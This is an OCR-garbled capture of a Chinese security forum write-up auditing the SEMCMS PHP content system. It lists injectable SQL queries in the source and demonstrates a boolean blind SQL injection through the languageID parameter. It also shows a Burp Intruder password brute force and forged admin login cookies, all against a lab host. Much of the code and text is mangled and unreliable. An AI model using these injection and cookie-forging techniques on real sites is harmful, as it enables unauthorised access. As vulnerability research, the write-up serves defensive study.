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Ml sitey. al m RREE Xﬂiﬁ& WEIFE
iy : fﬁﬁf”ﬁ et 186 SQLEHsel il Squery=$db_cona->query(“selet * fron o products vhere langusgeIl=$Langusge and products ct=l snd §
— e 167 SLEsedecth AATBERS (R -mrrsm.y\ A n..,,l.n/a.f.‘.u/z..dua./mm.m ph: $sal=hdb_conn-dquery(“zelect * fron sc_products where languagelD=$Language and $keywordstr”);
2 Tnages 188 SQLEEselectRATERMSISMEIR, BIMIFESUWEINTR Tenplote/defanlt/Include/Function. php Sauery=bdb_cora>query(“select * from sc_catecories vhere I0=410); ) o
O Teteds 189 SQLERselecthRATBERIISMRI, ARAFELENBA Tenplete/defanlt/Include/Function php $sal="select * fron o info vhere lungusgelD4Language and info LunauC$lasauid order by I0 desc Lini
e 190 SWEGslectb AHETBERIIS RN AMFENINEA /Tenplote/defadt/Tnclude/Function phy $sal="select * fron o info vhere lunguagelD4Language and info Lunan=$1IL order by D duse Limit $1i
-5 Tomplete 191 SQLEFselecthRAFTEFLISR FRAASILEARE  /Tenplete/default/Include/Function. phy $sql=bdb_corn—>query(“select * fron sc_info vhers languageIl=§Language and info_lanmu<>$lanmuid”);
* 192 SQUESselecth FHTRELIIS R, FIRAMESIENRA Templete/defanlt/Include/Function phy $sal=db_conn-dquery("select * fron sc_info vhere languageID=$Language and info_lannu=$TI1"):
193 SQUEGselecthRHTRERIIS R, SIRAFESIENRA  /Templete/defanlt/Include/Funotion. phy Squery_p=bdb_conn-dquery(“select * from sc_categories where I0$ID and category_open=1’):
194 SQUE BIREAFIESQLENSRR  /Templete/default/Include/Function. php Squery=bdb_conn—>query(“select * fron sc_info where ID=$1D")
195 SQUEH)sel {84P, FIRAFTESULE SRR /Tenplete/default/Include/Function phy Squeryx = $db_conn—>query(“select * fron sc_products where langusgeID=fLangusge snd products_zt=1 and
196 SQLEGsel IRAFTESALE SRR  /Tenplete/defanl t/Include/Function phy Squeryx = $db_conn—>query("select * fron sc_products where langusgeID=4Langusge and products_rt=1 and
197 SQUE BIRGTFTESAL ) /Templete/default/Include/Function php $query=$db_conn—>query(“select * from sc_products where ID =$ID *);
198 SQLEHsel fa4p, EIREAETESG! # /Tenplete/default/Include/Function php Squery=$db_cona->query(“select # from sc_categories where I0 <u and category_open=i):
199 SQUEGsel FIRAFESUUEATRA  /Tenplete/defanl t/Include/Function. phy $sal="select + fron so_categories where category_wrl < “$10." snd LingusgeTDbLengusge and category_o
200 SQLE BIRETFESL #) /Templete/defsult/Include/Function. php $sql="select * from sc_categories where ID =ID and languageID=$Language and category_oper
201 SQUERsel 24P, EIREAETESG! A /lemplete/defandt/Include/Function. pho Squery=$db_conn->query(“select & from sc_products vhere langusgeID=fLangusge and products_zt=1 and $ln
202 SQLiEE)zel ENER php $sql=$db_conn->query(“select * from sc_products where languageID=4Language and products_zt=1 and $laID"):
203 SQLEEsel SIRAFESUE AR /Tenplete/defanlt/Include/Function. phy Squery_p=bdb_conndquery(“select * from sc_catsgories where category wl= " $I0.” and LanguagelD=$Lang
204 SQUERsel {847 GIRTFESLENIER  /Teaplete/defunlt/Tnclude/Function. m Squery_p=bdb_cona-dquery(“select * fron sc_categories where I0=4ID and languagell=$Language and categor
205 SQEElsel ENEA Squery= $db_conn->query(“selact * fron sc_products where languageID=$Language and products_zt=1 snd $
206 SALEEsel RTINS /Toglete/dofnlt/Tnckude/Function phy Squery_p=bdb_conn—dquery(“select * from sc_categories where category pid=1 and LanguagelD=$Language and
207 SQLEEsel 24P, FIRAFTESULEAIER  /Tenplete/default/Include/Function phy Squery=$db_conn->query(“select & from sc_categories where category_path like % ”.$ID.”,% and language
208 SQUERsel N 1 ion phy $querys=$db_conn->query(“select * from sc_info where languageID=$Language and info_lanmu=".$rowl I0'].”
200 SQLEEsel SIRAFTESUE SRR /Tenplete/default/Include/Function. phy Squery=$db_conn—>query(“select & from sc_categories where languagelD=$Language and category pid=2 and c
210 SQLEEsel {847, BIRAFESIEATEA Templete/defunlt/Include/Punction. phy Squery=$db_conn->query(“select & from sc_download vhere langusgeID=fLangusge order by down paixu ssc I
211 SQLiFF)zel il ohe $query=$db_conn->query("select * from sc_categories where languageID=$Language and category pid=l and c.
212 SULEElsel THISILEN R Lete/defaul t/Includ shy Squery=$db_conn—>query(“select & from sc_info where languageID=4Langusge and info_lanmu=§lamuid”):
213 Snu"];devt*##ﬁﬂ%!%|§1HF- 1~m‘£swu7\ l!l ATeaplete/defunlt/Include/Funotion. m $sal = “select & from sc_products where LanguageID=$Language and products_zt=1 order by ID desc lin
214 QLIE A $sql = "select * from sc_products where languageID=$Language and products_zt=1 and products_index=1 or.
215 snu!ﬂx-l.nq:éf-t»iiﬁalsim. ‘mrrsm.mﬁﬁ ffmpl-n/dnf.ult/hnlul-/l’\meunn m Sresults = $db_conn->query(“select * from sc_categories where category pid=$ids and category_open=l ord
216 suuﬂ’]mm*#&ﬂ!%#I-%HF- %‘ﬁrswl.z?\ﬁlll hy “select * from sc_categories where category pid= $id and languagelD=$lgid and c.
217 Templete/defanlt/Include/Function. phy Sauery=bdb_conn>query("select * fron zc_link where langusgell$Langusge order by link paixu sso 1D o
218 Templete/defanlt/Includs/Funotion. phy Squery=$db_conn->query(“select * from sc_banner where languageID=$Language and banner_fenlei= $£1¢ ord
219 Teaplete/defanlt/Include/Function. phy Squery=$db_comn->query(“select * fron sc_nenu where LangusgelD=Language order by mems paixu asc,1D o
220 /Templete/default/Include/info. php include_once '../../../Templete/ $vebTemplate.’ /Include/Function phy :
221 Templete/defanlt/Include/nens. php include_once '../../../Tenplete/ $webTemplate.’ /Include/Function. phy :
222 Teaplete/defanl t/Include/produst. php include_once '../../../Templete/ $vebTemplate.’ /Include/Function phy :
223 Tenplete/default/Include/search.phy include_once '../../../Templete/ $vebTemplate.’ /Include/Function phy :
24 HBSEAHFIER AR AR /Templete/default/Include/view. php inolude_once '../../../Tenplete/ .$webTemplate.’ /Include/Function. php’ :
M s 1R, R4 FAERE, TERRiEs0. 510
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AT SQL EBORIITIE
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18 htaccess
1 index.php P (G EM : [select. ¥Eron. #uhere [EE | s HEN (FRAANE
L8 robots. txt
8 sitemap. xnl ” "
g P i o .
&8 A Adnin 1 JA_Adni n/SEMONS_Banner. php $sql="select * from so_banner where languagelD=" § GET[ 1gid ] ” order by ID desc linit $limit_st, Spage_num
@ kit 2 /h_Admin/SEMOMS_Banner, php $sql=$db_conn—>query(“select * fron sc_banner where languageID=".$ _GET["1zid"]."");
B Tncges 3 /A_hinin/SEICHS _Dovrlosd. pho $sal="select * fron so_download where langusgelD="$ GET['lgid ].” order by down paixu ase, 10 ssc Limit $li..
18 Tnclude 4 /h_Adni n/SEMCNS_Downlosd. php $sl=bdb_conn—>query(“select * fron sc_download where languageID="§ GET["1gid"]. ")
i instdl 5 /h_Adni n/SEMENS_Enail. php $zql="select * Erom sc_enail where ID=".§_GET['ID'];
I8 Teaplete 6 /A_Adni n/SEMCIS_Enail. pho $sql="select * fron sc_products where I0=". §PID;
7 /h_Adni n/SEMCNS_Enail. php $sql="select * fron sc_msg where I0="§ GET['ID']:
8 /A_Adni n/SEMEMS_Functi on. php $query=hdb_conn—>query(“select ¥ from sc_language where language_open=1”);
9 /A_Admin/SEMCMS_Functi on., php $query=$db_conn—>query(“select * from sc_language where language_open=i");
10 /A_Adnin/SEMCNS_Functi on. php $query=bdb_conn—>query(“select * from sc_user where user_adnin= $US" and user_ps= §PS""):
11 /h_Adni n/SEMEMS_Functi on. php Squery=hdb_sonn—>query(“select ¥ from sc_categories where Locate(, $PID,, category_path)):
12 /h_Admin/SEMONS _Images, php $sql = “select * from sc_images where images name like "®$search® order by ID desc limit $limit_st, $page_num ";
13 /A_Adnin/SEMCNS_Inages. pho = “select ® from sc_inages where inages_category like '%9CatID, ¥ order by ID desc limit $limit_st,Spage_
14 Jh_Adni n/SEMENS_Inages. pho select * from sc_inages where inages_category like "% $CatID, & and images_name like 'W§search® order b..
15 /h_Admin/SEMMS Images, php $db_conn—>query(“select * from sc_images where images_name like "Wfsearch® "
16 /h_hdmin/SEMONS _Images. php db_conn—rquery(“select * from sc_images where images_catezory like "%, $CatID & *):
17 Jh_Adni n/SEMENS_Inages. pho db_conn->query(“select % from sc_images where inages_category like "%, $CatID. & and images_name like #5..
18 /h_Admin/SEMMS Images, php $query = $db_conn—>query(“select * fron sc_images where IDID");
19 /A_Admin/SEMOMS_Info. php $sql=$db_conn—>query(“select * from sc_info where languageID=".$_GET["1gid"].” order by ID desc limit $limit_st..
20 /h_Adni n/SEMCNS_Info. phy $sql=bdb_conn->query(“select * from sc_info where languageID=" 3 GET["12id"]. " and info_title like "% $Searchp. ..
21 /h_Adni n/SEMENS_Info. phy $2ql=4db_conn—>query(“select * from sc_info where languagell=".$_GET["1gid"].” snd info_lanmu=iCatID order by I..
22 /A_Admin/SEMCMS_Info. php $sal=8db_conn—>query(“select * from sc_info where languageID=".$_GET["1gid"].” and info_title like "% $Searchp. ..
23 /A_Adnin/SEMCIS_Info. phy $sl=bdb_conn—>query(“select * fron sc_info where languageID=".$ GET['1gid"]. ")
24 /h_Adni n/SEMENS_Info. phy $2ql=db_conn—>query(“select * from sc_info where languagell="$_GET["1gid"].” and info_title like %" $Searchp. ..
25 /A_Admin/SEMORS _Info. phy $sql=$db_conn—>query(“select * from sc_info where languageID=".$_GET["1zid"].” and info_lanau=$CatID”);
26 /A_Adnin/SEMCMS_Info. pho $sql=ddb_conn—>query("select * from sc_info where languageID=".§_GET['lgid"].” and info_title like "% $Searchp. ..
27 /h_Adni n/SEMENS_Inquiry. php $sql="select * from sc_nsg where msg_email like %" $Searchp. "¥ order by I0 desc limit $limit_st, Spage_num *
28 /h_Admin/SEMCMS_Inquiry. php $sql=8db_conn—>query(“select * from sc_nsg where msg_emsil like ‘%" $Searchy. "% ):
29 /A_hdmi n/SEMCMS_InquiryView. php $sl="select * fron sc_products where I0=". §PID;
30 /A Ainin/SBUCHS Tnauiry¥ien. pho $sql="select * fron sc_msg where I0="§_GET['ID']:

Fmm BN
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=@ e ER  2B#F SiFE+ EREF webincphp

8 htaccess

: ;..:.:. nlzr‘ P (GEHEMD: [select . ¥from wwhere I EH® L M EM AFRAENE

Bl A hdnin 83 /Include/contorl. php if (mysqli_num_rows ($db_conn—>query("SELECT * FROM $table WHERE SE:eld—

8 Rl 84 /Include/veb_check. php $query=tdb_conn->query(“select * from sc_user where user_emai

B8 Ineges & /Include/veb_check. phy $result=$db_conn> query("select * from sc_user vhere user_emsil< ",

& Include 86 /Includefveb_inc. php SEand =

BB install /Include/web_inc. php $query=tdb_

8 Tenplete

89 /Templete/defaul t/Include/Function. php $result=pdb_conn—> query(”select * from so_categories where category wl= §str’ and languageID=fLanzuage and cate..

%0 /Tenplete/defanl t/Include/Functi on. phy Squery=hdb_conn->query(“select * from sc_products where LangusgslD=fLanguage snd products_st=1 snd $keywordst..
1 /Tenplete/defanl t/Include/Functi on. php $sql=$db_conn->query(“select % fron sc_products where langusgelD=$Language snd $keywordstr”);

%2 /Tenplete/defanl t/Include/Functi on. phy $query=db_conn-rquery("select * from so_categories where category_url = . $10.” %)

93 /Tenplete/defanl t/Include/Functi on. phy Squery=hdb_conn->query(“select * from so_categories where ID=§ID")

o1 /Tenplete/defanl t/Include/Functi on. php $sql="select * from so_info whers LangusgsID=$Langusge and info_Lanmu<>§lanmuid order by ID desc limit $limi

E /Templete/defaul t/Include/Function. phy $sql="select * from sc_info where languagell=$Language and info_lanmuw=$ID1 order by ID desc Linit $linit_st, $p
96 /Tenplete/defaul t/Include/Function. php $sql=$db_conn—>query(“select ¥ from sc_info where languageID=fLanguage and info_lanmu<>$lanmuid”):

o7 /Templete/defaul t/Include/Functi on phy $2ql=8db_conn—>query(“select * from sc_info where languageIl=Language and info_lanmu=$IN1"):

e /Templete/defaul t/Include/Function. phy $query_p=$db_conn—query(“select * from sc_categories where category_wl= ".4ID." and category_open=1");

99 /Templete/defaul t/Include/Function. php $query_p=$db_conn-rquery(“select * from sc_catezories where ID=$ID and category_ open=17):

100 /Templete/default/Include/Function php $query=db_conn—>query(“select * from sc_info where info_wl= " $ID." °);

101 /Templete/default/Include/Function, phy $query=$db_conn—>query(“select * from sc_info where ID=$ID");

102 /Templete/defaul t/Include/Function php $queryx = $db_conn—>query("select # from sc_products where languageID=fLanguage and products_rt=1 and products_
103 /Templete/default/Include/Function php $queryx = $db_conn—>query(“select * from sc_products where languageID=$Langzuage and products_zt=1 and ID in ($I..
104 /Templete/defaul t/Include/Function. phy $query=$db_conn—bquery(“select * from sc_products where products_wl="".$I1D." “);

105 /Templete/defaul t/Include/Function. php $query=bdb_conn—>query("select * from sc_products where ID =$ID ")

106 /Templete/default/Include/Function php $query=fdb_conn—>query(“select * from sc_categories where ID =$u and category_open=1"):

107 /Memplete/defaul t/Include/Functi on. phy $zql="select * Erom so_categories where category_url = *.$I0.” and languagelD§Language and oategory_open1”;
108 /Templete/defaul t/Include/Function. php $sql="select * from sc_categories where ID =$ID and lanzuageIl=$Lanzuage and catezory_open=i”:

109 /Tenplete/defaul t/Include/Function. php $sql="select ¥ from sc_categories where ID =§ID and languageID=§Lanzuage and category_open=1":

110 /Templete/defaul t/Include/Functi on phy Squery=bdb_oonn->query(“select ¥ from sc_products where languageIl=$Language and products_zt=1 and $lmID order
111 /Templete/defaul t/Include/Function. phy $sql=$db_conn—>query(“select * fron sc_products where ltng\l-nIHLu\s\len and products_zt=1 and $1nID");

llZ /Tzlnylat!/rleh\llt/Il\cl\ld!/Funcuul\ p]lp 30\19“’)‘% ewmr)quer)'( select * frotl s¢. clngunes wl\an category ur’ D" md lll\:lllg!ﬂ"ﬂ-ln!\llg! md )

i MEEH, Rs0R

[nttma. [ TARAD In AiAmin Amma LAttt als Favimn IONDA [T /At A AL
https://forum.butian.net/share/291 6/15


https://shs3.b.qianxin.com/attack_forum/2021/07/attach-a6fc96524a3468725a0aa481c6ddfe0d2c4a17c8.png
https://shs3.b.qianxin.com/attack_forum/2021/07/attach-77b653ad1f7058e356899f98ed07a6e8d06f68c6.png

2021/8/5 W ZAFB L X e — K SEMCMS AR 1 i -
VLS / /SISO YIAHAN LGOI dULLAUK_TUTULTT £UZ 1/ U/ [/ dLLdul I—

770653ad1f7058e356899f98ed07a6e8d06f68¢6.png)

E— T $language ZHES M R, XA ERNIENTTHRHEDEAN

BU BRI, $language Z7E web_inc.php X1,
$Language=test_input(verify_str($_POST["languageID"] , MIXE B UEE

$languagelD BL I MERIAIT IS 85 EM L $language, —Z2EAMNININIE

ZI8Y verify_str () @z , BIVER sql WIRREEITIE sal 158, T2

T test_input ()&%

ibs)

& SRR i eb_inc.php - o X
AFREE X NTRE kW EwEt OLBER WtEe - ) REEE O 85EE . 5EEE U EUSS CEHER O EGEE - O XTEG -
& RS e B | 83 | || anw

BE  2B%F GiFit 2BEFE vebincphy

$Language=Surlml['ID']; o

)
Sweb_url_meate=str_replace ("/".Surlml{'url link']."/", "/", Sweb_urlm);

}

-

Sweblogo=Sweb_url meate.str_replace('../','',Srow['web_logo']):

728

)) {$Language=test_input (verify str($_POST("languageID"])):)}else{$language=verify str(Slanguage);} |

fif (isset(s posT(

5 if(lempty(SLanguage)){

Squezy=sdb co:

Tow-mysqll Tetoh arr
Stag_indexmetatit=datato
Stag_indexkey=datato (Szox
Stag_indexdes=datato (

;)else{Sindextitle=Stag_indexmetatit;}
x

if (empty(Stag_newmetatit)){$newstitle=Stag_newkey;)else{Snewstitle=stag_:

bweb_urls
SERVER [“REQUEST_URI"]
eburldir hd

(https://shs3.b.qgianxin.com/attack_forum/2021/07/attach—
fad2892a49034beb3dee9651flec21a84fc53d50c.png)
BEYEFERAI] test_input () ®# MIEETE /Include/contorl.php SIFH

 SeayBREEITES - X
WFRAE X SAWA w SuEt O2BEE Qs - ) REEL O BNEe o SEEE G TUAE CEE J EeEE - o TS -

oxemn @R e o] | &z | || ez

S senons BR  2BEE GUFEE EREE b ik

&  htaccess

2 index. php P (SEHEMD : [Function test input ol BE#® i M EN AFRAAAE

# robots. txt

& sitemap. xnl v r

2 ST we || D O mEwsn
2 A hdnin 1 /Include/contorl. php function test_input(§data) {
& Edit

2 Inages
# Include
# install
A Templete

&
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has: MERA B

(https://shs3.b.gianxin.com/attack_forum/2021/07/attach—
84bf36b1b9dc2a2b541d506581d7bf6d74fHb735¢.png)
test_input () REDF

1. str_replace()®# JEEFHRM $data SEUATTILE, WRSHHNTR
BEH % WIE, FEEHRN percent

2. trim () @ BT AR $data FRIBERTIE. BEX . STIRRE.
NULL XLEFFF

3. stripslashes () @z F3TMIR~SRIAT

4. htmlspecialchars () ®z#i ATEEIRN html SLIR{L, ENT_QUOTES Z%
AT AR5 SN SH html 2R

& SeaylRESEITRSS - a X
@FRTE X XANE L SMW OLBRE [ WHEE - REEX O BuEe | EsE RIS ¢ eTeR O ERES - o XTES -
& e s s | e | wniz: || oz
518 sences EE 2B GiEt 2BEE vebinc sk sencorlphe
| ZFEH 5

Srowc=mysqli_fetch_assoc($queryc):
$str=Srowc([$id];

@ sitemap. xn. return $str;

1
B SIS HHETRR. et
(-8 A_Admin
-8 Edit
-l Images

}
Wz 32
(-8 Include
L@ install
(18 Tenplete

function test input(§data) {
$data = str_replace ("%", "percent”, $data);
$data = trim($data);
$data = stripslashes (§data);
$data = htmlspecialchars ($data,ENT_QUOTES) ;
return Sdata:

H

function checkuser ($db_conn) {

Scookieuseradmin=@verify str(test input(S_COOKIE["s
Scookieuserpass=@verify_str(test_input(§_COOKIE["sc

$query=$db_conn->query ("select * from sc_user where user admin='S$cookieuseradmin' and us

if (mysqli_num_rows (Squery)>0) {

(https://shs3.b.qgianxin.com/attack_forum/2021/07/attach—
79e232d71659745063f460972d79a0fcc13fd2b.png)

=. SQL imiEFIA

web_inc.php 2 — PECENXH, HEMINHFRBEERE XA
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7 SeayBRIBEITES C\phpStudy\PHPTutori mcms\index.php - u] %
RFETE X SANA . avEd O2BEE D mbEse - ) RBEX O B5EE . SEEE 3 IUER JEHER ) SeEE - o ATRG -
Tt D e ] i | &z ||z
-l senons BR  2EMT SihEit 2F#F webinc php contorl.php index php
B i e =i 2
a robrs et ] eTudeones
;;;E;Pﬁgﬁi“ == - i::i:ﬁ:ri:ce 'Templete/default/Include/default.php';
A Linin EEE- | >
o "
1= :
(https://shs3.b.gianxin.com/attack_forum/2021/07/attach—
8c9d9b8fed5d9588b22459b518ed3af91a3a0do1.png)
PRI E RS index.php EEHMNE payload BRENEEF BRI,
&« X A T2 | 10.10.10.1/semcms/index.php ab v ’B o= @

hd service@sem-cms.com

Q elchronlcs Enter your keywords B v 86 (0576) sssssess

m HOME PRODUCTS ABOUT US NEWS DOWNLOAD CONTACT US

iPhone Parts

Huawei Parts
HTC Parts

Samsung Parts Smart TV

A a0

(https://shs3.b.gianxin.com/attack_forum/2021/07/attach-
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B burpsuite FREFHNE, FRENNITIEKE, AERIBRTEZRERN PosTES |
XA P ATEAREEAFLATRIZEL 1anguageId

Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surferxyz By:LianZhang - ] X
Burp Project M2 EXE HA AL
[t [ mm [ hE (s | Ese [ ans [ 0% [0S |6 E | G000 | Aesm |
wii | HTPE R | websSocketpen | #IR
£ itp:i0.10.10.1:80 R
i ma | Z@Ex || A b OA 10
L | Hex
GET /semcms/index.php HTTR/1.1 [y
Host: 10.10.10.1 i
Cache-Control: max-age=0 n
Upgrade-Insecure-Requests; | =t
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64) ApplsWebkKit/537.36 (KHTML, like Gecka) Chrome HiERIntruder Cti+l  |0gg4.70
Accept: text/html application/xhtml+xml application/xml;g=0 9 image/webp image/apng **;q=0 8 application EHE4ARepeater Ctrl+R
Accept-Encoding: gzip, deflate EEiESequencer
Accept-Language: zh-CN zh;q=09 &n;q=0.8 en-GB,q=0.7 .en-US;q=0.6 £ 48 Comparer
Connection: close % #Decoder
B SR >
HETE 3
SEREME
ElFIht
Etlourfi s
EHIFIH
MRS
#IFmE
BRFELE > F
@ [<][+][2])[prmm=r iﬁ*’i; g FEHE
(https://shs3.b.gianxin.com/attack_forum/2021/07/attach—
770392fed225d960ada?aaas2d53d37204ef4aa4 . png)
RN verify_str () m# JFHERY SQL TEIETFRE T IERE and, sleep() R,
H Ns| H =5
PRUAPIAREIE SQL RERNTN, el UaEm/REE T
HSEUN languagelD=1 and 3>100 B, AT ZiEHEIR, REOEWNITHEEI*
« Cc 6 O & 10.10.10.1/semcms/ 22 mm® e 5 e u ¥

| |4 service@sem-cms.com

Q electronics ) ¥_ +86 (0576) 88888888

& service@sem-cms.com Facebook
® semcms Twitter
®13812345678 Google +
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(https://shs3.b.gianxin.com/attack_forum/2021/07/attach—
0650858f1d26db18d2561f632b0ed339c481b6ae.png)

HBSECN languagelD=1 and 3>2 &, BT 24 1EH, REITIE EFH

« ¢ @ O & 10.10.101/semcms/ 8 % no® &5 @ n B
fd service@sem-cms.com
Q el?CFTODICS Enter your keywords m !\. +86 (0576) 88888888
CATEGORIES PRODUCTS ABOUT US NEWS DOWNLOAD CONTACT US
iPhone Parts o'

Huawei Parts
HTC Parts

Samsung Parts

Hot Products
LCD Pantalla para
I iPhone 5G
Inquiry now

For iPhone 6 Plus
LCD Display+Touch
Screen Digitizer Featured

Inquiry now

LCD Pantalla para
I iPhone 5G
Inquiry now

ﬁ Housing Carcasa Para
l~  iPhone 7

N

(https://shs3.b.gianxin.com/attack_forum/2021/07/attach—
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M. |AOEARIRE

£ semcms/A_Admin/SEMCMS_Function.php XA, B —EEINIERIRIKS 2405
GRS

118 POST 2 KIkSERBEAN

2. MR SHEZBN=NHEET RSB AENT"

3. BEANNZEEY $mdd REINE, REHHT sql EERILEES,
PRUAEERI R PR ERae, EABBEH mdd #HT—/RINE

4. AIREWALTI, NWAA AN cookie
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U SeayBRBEIT RS .
@FRUE X ENE M EXE OLBRE D WHEE - J RBEX O BN o XEER 7 ISR dENER § RS- o XTES -
L AT . C | | #i: | || 2
il semcns A| BE 2B¥F Bi#it 2BMF function php Function.php contorl php SEMNS Function php
i htaccess wEE . R
il index. php . - /18P B 584
2 o ' |
@ sitemap. xal . -
a - E# ¢ elseirisce
A Adein —{TEE— - os if(sClas 24

i@ index. htal

SUS=test_input ($_POST[
$PS=test_input (S_POST[

= Ein‘;‘i‘t if (empty (SUS) || empty (SPS)){
- Smsinnvml¢
18 SENCNS_Enail.
8 SEMCNS Fenpei

g echo
rovs[’ Langusge_muly’ ]
y

—£ o que Jelsel
y 3CF o
- SHDSJJI;:&: St en $PS=md5 ($PS) ;
o=l rorl Tunguage_url’ ] 8 Squery=Sdb_conn->query
: zuus :; oce, T TT (MYSQI1 DGR TOWS [SQUETy) s
S _Tnquix X
: z_i::;xr $Class | hooa Srow=mysqli_fetch_assoc (Squery)
B Lble

Srow['
, Srow[
Srow['

'], time () +3600%24,
'], time () +3600%2
L time () +3600%24,"/

L4 SENCONS Main p
8 SEMCMS Menu. p.
8 ST Jti dle
|4 SEICNS_Newsle
8 SEMCNS_Produc
L& SENCNS_Quani.
(8 SEMCNS_RandPr
18 SEMCHS_Remail
18 SEMCNS_Seoknd nt |
8 smos SqL g | ($rol inaces '), )
i@ SEUCIS Templa | |§7POST[" inages name’ ]
48 SENCNS_Top. ph. _POST[' category_name’]
8 SENONS_Top_in

language='javascript'

}

elseif (SClass=="1

setcookie ("scus , time ()-3600%24, "

 FOST[ uid ] <

1@ SENCNS_Upfile _POST[“1D"] )
8 SENCNS_Upfile 1D

8 SEIONS pload | [$user_emsil

8 SEIOS Vpload | |furerhdnin

18 SBIOS Vpload | |$user_tel
{8 SECMS Vser.p | | $user_name
A5 v | |$languageTd |
P e T ) .

(https://shs3.b.gianxin.com/attack_forum/2021/07/attach—
341b16d2f5a05a90c87c57762010452¢6e715073.png)
BANBERLDBEERIBSIHIFEEFNIE, B2 %ERRERE ERILERH D ZER
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Intruder attack 2 - O X
wiE 77 5
IR EAEEETTIE ]
488 BrsARE [©
v | it
U U 3
UJ UJ
4 0 123456 200 O [ 482
588 0 123654 200 O [] 482
862 0 ©x0123456 200 O [] 482
1136 0 cx0000 200 O [] 482
1410 0 x00000 200 O [] 482
1684 0 password 200 0 [ 452 5
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EIS T
HH | R
Raw | &8 | & | Hex
Content-Length: 46 A
Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http:/10.10.10.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebkKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537 .36
Edg/91.0.864.70

Accept: text/html application/xhtml+xml application/xml;q=0.9 imagefwebp image/apng */*;q=0.8 application/signed-exchange;=h3;q=0.9
Referer: http:/10.10.10.1/semcms/A_Admin/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN zh;q=0.9 en;q=0.8 en-GB;q=0.7 en-US;q=0.6

Connection: close

Useriame=Admin&UserPass=18&checkbox=on&x=358y=5

(https://shs3.b.gianxin.com/attack_forum/2021/07/attach-
898d1243ca0031adafbfcb4do9fe131a51a32855.png)

https://forum.butian.net/share/291 13/15


https://shs3.b.qianxin.com/attack_forum/2021/07/attach-898d1243ca0031a4afbfc54db9fe131a51a32855.png
https://shs3.b.qianxin.com/attack_forum/2021/07/attach-d5800de90cb70534bb15e80c7e21a8495b99d447.png

2021/8/5 A BB K-8 K SEMCMS i

< C A FZ=4 | 10.10.10.1/semcms/A_Admin/SEMCMS_Main.php o 18 QB & 3

& Hi, SIS HEERIP0.10.10.1

& FEEDT > A EASEMCMS)N R P ER A

B RERES
» AFER FRER Apache 2.2.1 + PHPHi:5.6 + Mysalifi%:5.6
- WebR 5588 : PHPHfA : MySQLHR : GDEERR FreeType:
Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9 5329 5553 bundled (2.1.0 compatible) =
5 SRAESTHHERR : BA_EERH RAMATEE] RS BEE: EFMIP:
2 xf oM 308 2021-07-19 11:00:40 10.10.10.1
T REBRITIIE: BEmES: AP RS S Wbl : BRSO :
, EEEE Apache/2.4.23 (Wing2) OpenSSL/1.0.2 mod_fegid/2.3.9 2h-CN,zhiq=0.9,en;4=0.8,en-GB;q=0.7,en-US:q=0.6 1010101 80 HTTP/11
» SQLIFT Eir- aE
JgEEm EHOMAS: ARGTARKEA, WaFI—0RENZE, WTEMETHNTES, MOTH! 1 1!
‘ n
LAk feE g =2
1 B HRIFseo 2997T EEEE e
BREN
BAML: htt o BAZAFA:
BFQQ: QQ: . PIR] QQIEE : 122808471 BRRERP
BEARS: s B2 Bt mo T s

(https://shs3.b.gianxin.com/attack_forum/2021/07/attach—
d5800de90cb70534bb15e80c7€21a8495b99d447.png)

. EEHERRE

FERI R R BT I% & RIS R, é%?l‘%&IDEﬁBTTI%%éSEHFE setcookie
28, HM setcookie () m#i &1 XIERY, =240 scusernanme.
scuseradmin. scuserpass , B user name,user_admin,user_ps RYENKAT

17, MIMIER TERIEEE, 21 MA7R

scusername=%E6%80%BB%E8%B4%A6%E5%8F%B7;
scuseradmin=Admin;
scuserpass=c4ca4238a0b923820dccb09a61/5849b

lelseif (§CF=="uzer="){
if (SClass=="login"){ // &4

§US=test_input (§_POST['C
§PS=test_input ($_POST['U:=

if (empty (SUS) || empty ($PS)){

echo "<script language='javascript's>alert ('MW SHEEBAEENT ") top.location.href="index.html";</script>";

lelse{
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$PS5=md5 ($PS)
$query=$db conn->query ("select * from sc_user where user admin='§US' and user_ps='$P5'"):
if (mysqli_num rows(Squery)>0 ){

$row=mysqli_fetch assoc(Squery):

ame'], time () +3600%24,"/");
admin'], time () +3600%24,"/") ; .
='], time () 43600%24, "/ ") ; // EE AT 241 FT

setcookie ("scusername”, Srow['u
setcookie ("scuseradmin”, $row(['
setcookie ("scuserpass", Srow['u
header ("Location:SEMCMS Main.php");

lelse{

echo "<script language='javascript'>alert ('Wﬁ%ﬁgﬁ%ﬁfﬁ%‘ ');top.location.href='"index.html"';</script>";

(https://shs3.b.qgianxin.com/attack_forum/2021/07/attach—
bcbaa854d371907b8fele150082592aachb2e35a.png)
5 scuserpass=c4ca4238a0b923820dcc509a675849b HIE] mdb FREAS R

N

c4ca4238a0b923820dcc509a675849b
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